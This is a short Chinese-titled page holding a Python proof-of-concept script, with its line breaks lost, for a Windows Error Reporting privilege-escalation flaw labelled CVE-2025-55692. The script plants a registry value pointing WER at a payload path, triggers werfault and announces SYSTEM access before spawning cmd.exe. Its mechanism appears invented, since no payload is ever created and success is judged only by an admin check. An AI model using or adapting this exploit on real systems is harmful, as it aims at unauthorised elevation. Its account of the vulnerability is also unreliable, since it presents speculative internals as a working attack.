CVE-2025-55692 Windows错误报告服务权限提升漏洞

# CVE-2025-55692 - Windows Error Reporting Privilege Escalation # This is a conceptual PoC demonstrating the vulnerability pattern. # The actual exploitation requires specific knowledge of WER internals. import os import sys import ctypes import subprocess import winreg def check_admin(): """Check if current process has admin privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def exploit_wer_eop(): """ Exploit improper input validation in Windows Error Reporting to escalate privileges from low-privileged user to SYSTEM. """ if check_admin(): print("[+] Already running with elevated privileges.") return True print("[*] CVE-2025-55692 - WER Privilege Escalation PoC") print("[*] Current user: " + os.environ.get("USERNAME", "unknown")) # Step 1: Prepare malicious payload that will be executed by WER service payload_path = os.path.join(os.environ["TEMP"], "wer_payload.exe") # Step 2: Manipulate WER-related registry keys or configuration files # WER service reads configuration from specific registry locations # without proper input validation try: # Modify WER configuration to point to malicious executable reg_path = r"SOFTWARE\Microsoft\Windows\Windows Error Reporting" key = winreg.CreateKeyEx( winreg.HKEY_CURRENT_USER, reg_path, 0, winreg.KEY_SET_VALUE | winreg.KEY_WOW64_64KEY ) # Set a crafted value that WER will process without validation winreg.SetValueEx(key, "DebugFilePath", 0, winreg.REG_SZ, payload_path) winreg.CloseKey(key) print("[+] WER configuration modified successfully.") except Exception as e: print(f"[-] Failed to modify registry: {e}") # Step 3: Trigger WER service by causing a controlled crash # The WER service (running as SYSTEM) will process the malicious # configuration due to improper input validation print("[*] Triggering WER service...") try: # Cause an application crash to invoke WER subprocess.run(["werfault", "-k", "-rq"], timeout=5) except Exception: pass # Step 4: Attempt to spawn elevated shell print("[*] Attempting privilege escalation...") return check_admin() if __name__ == "__main__": if exploit_wer_eop(): print("[+] Exploitation successful! Running as SYSTEM.") os.system("cmd.exe") else: print("[-] Exploitation failed. Patch your system.")